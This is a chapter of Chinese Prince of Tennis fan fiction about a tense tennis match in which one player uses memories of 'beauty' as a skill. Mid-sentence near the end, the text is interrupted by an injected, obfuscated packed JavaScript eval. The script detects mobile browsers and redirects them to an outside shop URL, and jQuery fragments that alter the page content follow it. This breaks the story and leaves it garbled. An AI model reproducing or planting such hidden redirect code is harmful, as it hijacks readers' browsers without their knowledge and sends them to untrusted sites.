胡狼桑原握紧拍柄,朝银枝的方向沉沉地看了一眼,他确实没想到银枝居然已经领悟技能了。

    但是如果只是这种程度的话,还不够呢。他站在底线,用毛巾擦了擦拍柄。然后他换了一只手握拍,右手换到左手,又换回去。很明显,他在思考。

    第三局,桑原的发球局。

    他抛起球,动作和之前一模一样,不快的抛球,不大的引拍幅度。球砸过来,沉重如锤。银枝迎上去,正手将球弹回反手位底角。桑原退后一步,正手抽击,球飞向银枝正手位深区。

    银枝再次使用「片刻,留在眼底」,球像光一样飞回去,但被桑原接住了,虽然回球的角度不佳,但其中的意义银枝已经明白了。

    晨光的这个画面的效果已经被桑原适应了,他很难再靠这个片刻拿分了。

    他只能回忆起另外的片刻——那天跟幸村打球时,幸村眼底对网球的享受和对胜利的绝对渴望,但还未回忆完成,画面就被桑原的球打断了。

    那球太重了,重到他需要把全部注意力放在球上。回忆碎成了零散的片段,拼不起来。

    他回球出浅,桑原上网,截击得分。

    15-0。

    第二球,桑原发球,银枝接住。两人再次对拉,但桑原的力量每一板仍然都在叠加,银枝的回球越来越短。第五拍,桑原放了一个短球,银枝冲上网,球拍够到球,一挑——球被桑原等在网前截住。

    30-0。

    银枝退到底线,握紧球拍,他的手腕已经开始发颤,肌肉在承受了太多次重击后开始抗议。桑原的力量打法,正在一点点剥夺他回忆的能力。

    晨星的声音响起:“你现在的精神力水平下降了约三成,建议简化回忆内容,缩短准备时间。”

    “怎么缩短?”

    “你可以尝试不回忆完整的画面,而是用一个关键词就够了。”

    第四球。桑原发球。球砸过来的一瞬间——银枝没有具体地去回忆晨光,没有回忆那“完美的网球”,没有回忆其他的片刻。他只抓住了一个关键,对胜利的渴望。然后球拍击球,球在桑原的发球区弹了一下,第二下弹起的高度足有两个胡狼桑原。

    桑原试图挥了拍,但这次他毕竟没有准备,起跳的时候球已经以一个完美的弧线落地了。

    30-15。

    场边,切原激动得薯片撒了一地:“打回去了!用另一种球在桑原的发球局打回去了!”。

    但银枝知道这只是暂时的。

    桑原又开始适应了,第三次碰到这球时他摸到了球的边,第四次碰到时他的回球已经能勉强过网。他的适应速度很快,像一台精密仪器在不断校准,每一次接触都在缩短他与球之间的距离。

    哪怕银枝可能随机打出晨光或者胜利的渴望,他也能很快调整过来,毕竟只回忆一个关键是能大大缩减技能发动的前摇,但效果明显是不如完整回忆一个片刻的。

    完整回忆一个片刻可以在其中增加一些其他的变化,而只有关键就略显呆板了。

    第四局,桑原的发球局保发,2-1。

    第五局,银枝的发球局,他咬住,用完整的回忆片刻抢下关键分,2-2。

    第六局。桑原开始改变节奏,他不再每一板都借力打力了,而是改变落地位置,不断的调度银枝。银枝的回球又开始变浅了,他的消耗太大了,每一次使用技能都需要精神力高度集中,而桑原又同时在消耗他的体力。两线作战,他的胸口剧烈起伏,汗水沿着鬓角往下淌,运动服前胸和后襟全都湿透了。

    桑原保发,3-2。

    换边的时候,银枝用毛巾盖住了脸。

    毛巾下面,他的呼吸又重又急,每一次使用「片刻,留在眼底」时,都需要他在意识深处捕捉那些片刻——晨光、气味、温度、触感。这些碎片像沙一样从指缝间漏走,他需要一次又一次地捞回来。

    晨星的声音很平静,带有一种机械的理智感:“你的精神力消耗速度比预期快,建议降低技能使用频率。”

    银枝没有回答,他把毛巾从脸上扯下来,走回底线。

    第六局,桑原的发球局。

    桑原拍了两下球,抛起,球落地的声音像一块石头砸进泥地,带着一股往下坠的力量。

    银枝侧身,正手迎球,球拍的弦在触球的瞬间被压出一道弧度,他的手腕承受着那股持续的重压,虎口的皮肤在拍柄上摩擦,微微发烫。

    他把球回了过去,落点在桑原反手位深区。

    桑原退了一步,这次并没有借力,而是自己加了力,球以更大的力量飞回来,砸在银枝正手位死角。

    银枝冲过去,球拍够到了球,但回球飘了。球软绵绵地落在中场,桑原上前,正手推挡,球落在银枝反手位网前。

    15-0。

    银枝没有停下来,他蹲下身,用手掌撑着地面,深呼吸又站起,回到接发位置。

    第二球,桑原的发球。

    同样的重量,银枝双手握拍,压低重心,把球回了过去。这次落点更深了,压在底线上,桑原退了一步,正手抽击,球飞向银枝反手位。

    银枝用反手挡回去,球不深,但角度很刁。桑原从底线冲上来,弯腰够球,他接住了,而且回了一个挑高球。球高高越过银枝头顶,落在底线附近。

    30-0。

    第三球。桑原发球,银枝接住,两人开始对拉,但不同的是,银枝的回球越来越浅,桑原的球越来越重。

    第五拍,银枝的回球飘到了中场,桑原上前一步,正手抽击,球砸在银枝反手位底线,弹起时银枝还在两米外。

    40-0。

    桑原保发,4-2。

    第七局,银枝的发球局,他用不断变化的回忆片刻艰难拿下了这一分,比分4-3,桑原领先。

    第八局,桑原的发球局。

    桑原把毛巾搭在脖子上,拍了两下球。球撞击地面的声音很沉,像远处有人在敲木桩。他抛球的动作和之前一模一样——左手托球上举,右手引拍,膝盖弯曲的幅度分毫不差。但银枝注意到一个细节:桑原抛球时,左手大拇指在球离手的瞬间轻轻拨了一下。

    这一拨让让球的落点偏了半厘米。

    球砸过来,砸向银枝的身体,是追身球。银枝来不及侧身,只能把球拍横在身前挡了一下。球弹回去,飘到中场,桑原已经等在那里,正手推挡,球落在银枝反手位网前。

    15-0。

    “他在观察你的站位习惯,你接发球时总是先向反手位移动半拍,他刚才那球就是利用了这一点。”晨星提醒。

    “我知道。”银枝微蹙眉,他在思考。

    第二球,桑原再次抛球,左手拇指又拨了一下。这次球砸向正手位,银枝没有犹豫,直接迎上去,在球拍击球的瞬间,他加了旋转,是普通的侧旋。球在空中拐出一道弧线,落在桑原反手位边线上。

    桑原跑过去,反手挡回。球不深,但角度很刁,落在银枝正手位网前。银枝弯腰,球拍够到了球,但这次他没有挑高,而是用拍面轻轻一裹,球擦着网带滚落。

    30-15。

    场边,切原的薯片袋子已经空了。他把袋子揉成一团,塞进裤兜里,双手撑在膝盖上,身体前倾,很认真的看着这次比赛。

    丸井坐在他旁边,泡泡糖吹起来的粉色薄膜刚好炸开,“啪”的一声,在安静的球场里格外清晰。

    银枝直起身,看了丸井一眼。丸井的腮帮子还鼓着,正无意识地咀嚼着泡泡糖,他的眼睛盯着球场,瞳孔里映着桑原弯腰捡球的影子。

    那个影子在绿色的场地上被拉得很长,像一根绷紧的弦。

    第三球,桑原发球。这次他没有用追身球,球砸在外角,弹起后向外拐,但银枝提前移动了,正手迎球,把球挡回桑原反手位底线。

    两人开始对拉。

    一拍,两拍,三拍。桑原的球每一拍都比上一拍重一点,像在球上叠沙子。银枝的回球越来越浅,他的站位被一步步往后推。第四拍,他的脚后跟踩到了底线上。第五拍,他被迫退到线后。

    这时银枝做了一件事,他没有硬接,而是在球弹起的瞬间手腕一翻,把球挑向了桑原的头顶。

    挑高球,球飞得很高,高到阳光刺眼,桑原仰头时不得不眯起眼睛。

    他退后,退到挡板前,跳起来,够到了。球被回了过来,但落点在中场。银枝已经等在那里,正手抽击,球砸在桑原反手位死角。

    30-30。

    银枝站在网前,隔着球网看了桑原一眼。桑原的头上全是汗,亮晶晶的,像刚出水的鹅卵石。

    “你那挑高球,”桑原说,“很聪明。”

    银枝微微欠身:“谢谢。”

    第四球,这次发球时桑原又加了一个小动作。抛球的瞬间,他的肩膀比之前多倾斜了几度。银枝捕捉到了这个变化,提前向反手位移动,球砸过来,果然,是内角。

    他接住了,但球回得太正,落在桑原正手位。桑原没有加力,只是轻轻一推,球落在银枝的网前。银枝的球拍够到了球,这次他没有挑高,而是把球打向桑原的身体,让他不得不侧身。

    桑原侧身了,球从他的正手位漏过去,落在边线内。

    40-30,局点。

    银枝站在接发位置上,压低重心。紧握球拍,拍柄上的玫瑰纹路嵌进掌心的纹路里。

    桑原抛球。

    那一瞬间,银枝没有看球,而是看向了桑原的眼睛。

    那双眼睛很平静,但瞳孔比平时而言缩小了,他进入了一种状态,是一个人在做自己最擅长的事情时,身体自动进入的那种状态。

    银枝想起了他上次去他家拉面馆时拉面馆里的那口锅,锅底有一层黑亮的油垢,是二十年熬汤熬出来的。还有他偶然看见的,桑原蹲在路边照顾迷路的孩子时,从口袋里掏出来的那颗糖,剥开糖纸,递过去,动作很慢,怕吓到那孩子。

    这些都是“美”,是熬汤时守在锅边的那个人,是蹲下来和孩子平视时眼睛里映出的那个小小的影子。

    银枝挥拍。

    球拍击球的瞬间,他没有用力,他只是把球“送”了回去。

    球飞过网,不高不低,不快不慢,落点在桑原的正手位,是桑原不用跑动就能接到的地方。

    桑原接住了,但他的回球飘了,他感受到了这一球不同寻常的重量。球软绵绵地飞回来,落在银枝的反手位网前。

    银枝上前,轻轻一推。

    球落在桑原的脚边。

    Deuce。

    场边,真田的手在帽檐上停了一会儿,然后猛地向下一按,遮住了自己的大半张脸。

    幸村坐在最高处的长椅上,双手交叉放在膝盖上。他没有说话,但他的嘴角向上弯了一个很小的弧度。风吹过来,他肩上的外套被掀起一角,又落回去。

    银枝破发,比分4-4。

    第九局,银枝的发球局。

    银枝站在底线处,手里握着球。阳光从头顶落下来,把他的影子缩成一小团踩在脚下。他的影子旁边还有另一个影子,是桑原的影子,这道影子被拉得很长,一直延伸到银枝的脚边,像一根箭指向他。

    他忽然想起一件事,赛前桑原热身的那个画面——他弯腰压腿时,头上的那片樱花瓣,粉白

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17612284|205981||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    色的,薄得像蝉翼。后来花瓣被风吹走了,落在桑原自己的影子里,白线把花瓣和影子切成两半。

    那个瞬间,也是“美”。

    这份“美”不是银枝刻意去找寻的,而是它自己撞进来的。像一只鸟飞过窗口,你还没来得及看清它羽毛的颜色,就已经不见了。

    银枝抛起球。

    这次,他没有回忆,他只是让那个画面从意识深处浮上来——桑原弯腰,樱花,影子,白线。这些都混在一起,像调色盘上被水洇开的颜料,分不清颜色。

    挥拍。

    球飞出去,它砸在发球区的边线上,弹了一下,不,是跳了一下,像一只猫从高处跳下来,悄无声息,它贴着地面滑出去,滑到桑原脚边时,突然向上弹了一下,像一个人从梦中惊醒,猛地睁眼坐起身。

    桑原的球拍挥空了,球从他膝盖旁边飞过,落在他身后。

    15-0。

    场边,切原从椅子上弹了起来,嘴巴张成一个大写的O。丸井的泡泡糖这次没有吹起来,只是嚼着,腮帮子一鼓一鼓。

    柳的笔悬在纸面上方,停顿了三秒。然后他写下一行字:“发球效果变化,第二弹跳出现向上的异常轨迹,与之前的‘片刻,留在眼底’具有根本性不同。原因:未知。”

    他抬起头,看着银枝,那个红发少年的表情从回忆转变为了“注视”,他在看什么?

    柳顺着银枝的视线看过去,银枝在看桑原弯腰捡球的背影。那个背影很宽,肩胛骨的轮廓在运动服下起伏,像两座小山。汗水沿着脊柱的沟渠往下淌,在腰部的位置被运动服吸进去,留下一片深色的湿痕。

    银枝的“注视”是一个人在认真地、安静地、把另一个人看在眼里。

    第二球。银枝抛球,挥拍。

    这一次他注视的不是桑原,是丸井。丸井坐在场边最前排,手里捏着一把泡泡糖,五颜六色的糖纸从指缝间露出来,在阳光下反光。他的嘴角还沾着刚才炸开的泡泡糖残留,粉色的,像一小片没擦干净的奶油。

    他在担心。

    一是担心桑原会输,二是担心桑原会不会在比赛结束后,一个人坐在场边,低着头不说话。那是桑原输球后的习惯,丸井见过很多次,每一次都不知道该怎么开口。

    银枝挥拍。

    这一球依旧没有飞向死角,它再次飞向桑原的正手位,但在阳光下,这颗球似乎闪烁着一股五彩的光。桑原接住了,但回球又飘了,球仍然是那副软绵绵的样子,落在中场,银枝很轻松地就打回去了。

    30-0。

    丸井愣了一下。他看向银枝,银枝此时并没有在看他,但丸井觉得那双绿色的眼睛刚才在他身上停了一下,是一种“看见”。

    看见他手里的糖纸,嘴角的泡泡糖,还有藏在口袋里的那张手工制作的积分卡——是「拉面桑原」的积分卡,丸井的那张已经攒满了,但他一直没有去兑换,这也是一种收藏品嘛,毕竟他想吃的时候杰克从来没有拒绝过他。

    第三球。银枝继续抛球,挥拍。

    这次他“看见”的是切原,切原站在场边,双手撑在膝盖上,身体前倾,眼睛很亮,像两颗刚被水洗过的玻璃珠。

    他在想什么呢?他在想自己什么时候也能打出那样的球。光一样的、无声无息落地的、让人站在那里、连挥拍的念头都生不起来的球。

    银枝挥拍了。

    这一球砸在桑原的反手位边线上,弹了一下,没有弹第二下。它停在原地,像一朵花合上了花瓣。

    40-0。

    第四球。银枝抛球,但他没有挥拍。

    球从他手中滑落,掉在地上弹了一下,滚到场边去了。

    他弯腰去捡,捡球的时候,他的手指碰到了地上的白线。白线被阳光晒得发烫,橡胶的纹理嵌进指纹里。

    他忽然意识到一件事。

    他一直在“看见”别人。桑原头上的樱花,丸井的糖纸,切原的眼睛。但他从来没有“看见”过自己。

    自己站在球场上时是什么样子的?阳光落在头发上,汗珠沿着鬓角往下淌,运动服的前襟被汗水浸湿,贴在胸口,球拍握在手里,拍柄上的玫瑰纹路嵌进掌心的纹路里,脚踩在土地上,鞋底的纹路被泥土填满。

    这些,也是“美”。

    不是被回忆起的美,而是“正在看见”的美,是“看见”这个动作本身。

    他直起身,把球握在手心。球很旧了,毛毡被磨得发白,商标的字母已经看不清了。这是他从家里带来的那颗球,在室内球场里对着墙壁打了无数次的那颗。

    他抛起球。

    这一球不是回忆,不是看见别人,是在这里,是此刻阳光落在肩膀上的温度,球场对面桑原的呼吸声,场边切原攥紧拳头时骨节发出的细微声响,丸井嚼泡泡糖时腮帮子鼓起的幅度,幸村坐在长椅上双腿交叠的姿势,真田抱臂时手指在肘弯处轻轻叩击的节奏。

    这些都是“此刻”,不会再来一次的此刻。

    他挥拍。

    球飞出去,没有声音,在声音出现之前,球就已经过去了。球落在桑原的发球区内,弹了一下,然后消失了。

    不是看不见了,是真的没有了。球不在场地上,不在空中,不在任何地方,它像一粒沙掉进了沙漠,像一滴水落进了海里,消失的无影无踪。

    桑原站在那里,球拍举着,没有挥。

    几秒后,球从场边的挡板下面滚了出来。它滚到丸井脚边,停住。丸井低头看着那颗球,没有捡。

    真田的声音从阴影里传出来,带着不解和诧异:“……界内。”

    Game,银枝保发。5-4。